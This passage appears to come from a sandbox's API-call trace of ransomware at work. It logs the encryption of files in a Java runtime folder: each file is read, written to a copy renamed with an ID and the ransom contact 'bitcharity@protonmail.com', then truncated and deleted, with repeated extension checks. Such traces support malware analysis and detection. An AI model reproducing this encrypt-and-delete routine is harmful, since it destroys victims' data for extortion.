Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0299.605] lstrlenW (lpString=".jpg") returned 4 [0299.605] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0299.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0299.605] lstrlenW (lpString=".doc") returned 4 [0299.605] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.605] lstrlenW (lpString=".docx") returned 5 [0299.605] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0299.605] lstrlenW (lpString=".pdf") returned 4 [0299.605] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.605] lstrlenW (lpString=".xls") returned 4 [0299.605] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.605] lstrlenW (lpString=".xlsx") returned 5 [0299.606] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0299.606] lstrlenW (lpString=".ppt") returned 4 [0299.606] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0299.606] lstrlenW (lpString=".zip") returned 4 [0299.606] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.606] lstrlenW (lpString=".rar") returned 4 [0299.606] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.606] lstrlenW (lpString=".bz2") returned 4 [0299.606] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.606] lstrlenW (lpString=".7z") returned 3 [0299.606] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0299.606] lstrlenW (lpString=".dbf") returned 4 [0299.606] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0299.606] lstrlenW (lpString=".1cd") returned 4 [0299.606] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0299.606] lstrlenW (lpString=".jpg") returned 4 [0299.606] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.607] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.607] lstrlenW (lpString="jsdt.dll") returned 8 [0299.607] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.607] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=18496) returned 1 [0299.607] CloseHandle (hObject=0x10b0) returned 1 [0299.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20 [0299.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.607] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.608] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.608] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.608] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0299.608] GetLastError () returned 0x0 [0299.608] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x4840, lpOverlapped=0x0) returned 1 [0299.717] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x4850, lpOverlapped=0x0) returned 1 [0299.885] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.885] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xe4, lpOverlapped=0x0) returned 1 [0299.885] SetEndOfFile (hFile=0x10e0) returned 1 [0299.885] CloseHandle (hObject=0x10e0) returned 1 [0299.885] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.885] SetEndOfFile (hFile=0x10b0) returned 1 [0299.887] CloseHandle (hObject=0x10b0) returned 1 [0299.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.887] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 1 [0299.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0299.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0299.888] lstrlenW (lpString=".doc") returned 4 [0299.888] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.888] lstrlenW (lpString=".docx") returned 5 [0299.888] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0299.888] lstrlenW (lpString=".pdf") returned 4 [0299.888] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.888] lstrlenW (lpString=".xls") returned 4 [0299.888] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.888] lstrlenW (lpString=".xlsx") returned 5 [0299.888] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0299.888] lstrlenW (lpString=".ppt") returned 4 [0299.888] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0299.888] lstrlenW (lpString=".zip") returned 4 [0299.888] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.888] lstrlenW (lpString=".rar") returned 4 [0299.888] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.888] lstrlenW (lpString=".bz2") returned 4 [0299.888] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.888] lstrlenW (lpString=".7z") returned 3 [0299.888] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0299.888] lstrlenW (lpString=".dbf") returned 4 [0299.888] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0299.888] lstrlenW (lpString=".1cd") returned 4 [0299.888] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0299.888] lstrlenW (lpString=".jpg") returned 4 [0299.888] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0299.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0299.888] lstrlenW (lpString=".doc") returned 4 [0299.888] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.888] lstrlenW (lpString=".docx") returned 5 [0299.889] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0299.889] lstrlenW (lpString=".pdf") returned 4 [0299.889] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.889] lstrlenW (lpString=".xls") returned 4 [0299.889] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.889] lstrlenW (lpString=".xlsx") returned 5 [0299.889] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0299.889] lstrlenW (lpString=".ppt") returned 4 [0299.889] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0299.889] lstrlenW (lpString=".zip") returned 4 [0299.889] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.889] lstrlenW (lpString=".rar") returned 4 [0299.889] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.889] lstrlenW (lpString=".bz2") returned 4 [0299.889] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.889] lstrlenW (lpString=".7z") returned 3 [0299.889] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0299.889] lstrlenW (lpString=".dbf") returned 4 [0299.889] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0299.889] lstrlenW (lpString=".1cd") returned 4 [0299.889] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0299.889] lstrlenW (lpString=".jpg") returned 4 [0299.889] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.889] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.889] lstrlenW (lpString="jsoundds.dll") returned 12 [0299.889] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.890] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=31296) returned 1 [0299.890] CloseHandle (hObject=0x10b0) returned 1 [0299.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 0x20 [0299.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.890] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.890] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.890] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.890] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0299.891] GetLastError () returned 0x0 [0299.891] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x7a40, lpOverlapped=0x0) returned 1 [0299.943] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x7a50, lpOverlapped=0x0) returned 1 [0299.944] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.945] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.945] SetEndOfFile (hFile=0x10e0) returned 1 [0299.957] CloseHandle (hObject=0x10e0) returned 1 [0299.958] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.959] SetEndOfFile (hFile=0x10b0) returned 1 [0299.959] CloseHandle (hObject=0x10b0) returned 1 [0299.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.960] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 1 [0299.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0299.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0299.963] lstrlenW (lpString=".doc") returned 4 [0299.963] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.963] lstrlenW (lpString=".docx") returned 5 [0299.963] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0299.963] lstrlenW (lpString=".pdf") returned 4 [0299.963] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.963] lstrlenW (lpString=".xls") returned 4 [0299.963] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.963] lstrlenW (lpString=".xlsx") returned 5 [0299.964] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0299.964] lstrlenW (lpString=".ppt") returned 4 [0299.964] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0299.964] lstrlenW (lpString=".zip") returned 4 [0299.964] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.964] lstrlenW (lpString=".rar") returned 4 [0299.964] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.964] lstrlenW (lpString=".bz2") returned 4 [0299.964] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.964] lstrlenW (lpString=".7z") returned 3 [0299.964] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0299.964] lstrlenW (lpString=".dbf") returned 4 [0299.964] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0299.964] lstrlenW (lpString=".1cd") returned 4 [0299.964] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0299.964] lstrlenW (lpString=".jpg") returned 4 [0299.964] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0299.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0299.965] lstrlenW (lpString=".doc") returned 4 [0299.965] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.965] lstrlenW (lpString=".docx") returned 5 [0299.965] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0299.965] lstrlenW (lpString=".pdf") returned 4 [0299.965] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.965] lstrlenW (lpString=".xls") returned 4 [0299.965] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.965] lstrlenW (lpString=".xlsx") returned 5 [0299.965] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0299.965] lstrlenW (lpString=".ppt") returned 4 [0299.965] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0299.965] lstrlenW (lpString=".zip") returned 4 [0299.965] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.965] lstrlenW (lpString=".rar") returned 4 [0299.965] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.965] lstrlenW (lpString=".bz2") returned 4 [0299.965] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.965] lstrlenW (lpString=".7z") returned 3 [0299.965] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0299.965] lstrlenW (lpString=".dbf") returned 4 [0299.965] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0299.965] lstrlenW (lpString=".1cd") returned 4 [0299.965] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0299.965] lstrlenW (lpString=".jpg") returned 4 [0299.965] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.966] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0299.966] lstrlenW (lpString="klist.exe") returned 9 [0299.966] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0299.966] GetFileSizeEx (in: hFile=0x10d4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=16448) returned 1 [0299.966] CloseHandle (hObject=0x10d4) returned 1 [0299.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 0x20 [0299.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.966] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0299.967] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.967] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.967] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0299.968] GetLastError () returned 0x0 [0299.968] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x4040, lpOverlapped=0x0) returned 1 [0300.111] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x4050, lpOverlapped=0x0) returned 1 [0300.271] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.271] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xe6, lpOverlapped=0x0) returned 1 [0300.271] SetEndOfFile (hFile=0x10e8) returned 1 [0300.271] CloseHandle (hObject=0x10e8) returned 1 [0300.271] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.271] SetEndOfFile (hFile=0x10d4) returned 1 [0300.272] CloseHandle (hObject=0x10d4) returned 1 [0300.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0300.273] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 1 [0300.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0300.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0300.273] lstrlenW (lpString=".doc") returned 4 [0300.273] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.273] lstrlenW (lpString=".docx") returned 5 [0300.273] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0300.273] lstrlenW (lpString=".pdf") returned 4 [0300.273] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.273] lstrlenW (lpString=".xls") returned 4 [0300.273] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.273] lstrlenW (lpString=".xlsx") returned 5 [0300.273] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0300.273] lstrlenW (lpString=".ppt") returned 4 [0300.273] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0300.273] lstrlenW (lpString=".zip") returned 4 [0300.273] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.273] lstrlenW (lpString=".rar") returned 4 [0300.274] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.274] lstrlenW (lpString=".bz2") returned 4 [0300.274] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.274] lstrlenW (lpString=".7z") returned 3 [0300.274] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0300.274] lstrlenW (lpString=".dbf") returned 4 [0300.274] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0300.274] lstrlenW (lpString=".1cd") returned 4 [0300.274] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0300.274] lstrlenW (lpString=".jpg") returned 4 [0300.274] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0300.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0300.274] lstrlenW (lpString=".doc") returned 4 [0300.274] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.274] lstrlenW (lpString=".docx") returned 5 [0300.274] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0300.274] lstrlenW (lpString=".pdf") returned 4 [0300.274] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.274] lstrlenW (lpString=".xls") returned 4 [0300.274] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.274] lstrlenW (lpString=".xlsx") returned 5 [0300.274] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0300.274] lstrlenW (lpString=".ppt") returned 4 [0300.274] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0300.274] lstrlenW (lpString=".zip") returned 4 [0300.275] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.275] lstrlenW (lpString=".rar") returned 4 [0300.275] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.275] lstrlenW (lpString=".bz2") returned 4 [0300.275] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.275] lstrlenW (lpString=".7z") returned 3 [0300.275] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0300.275] lstrlenW (lpString=".dbf") returned 4 [0300.275] 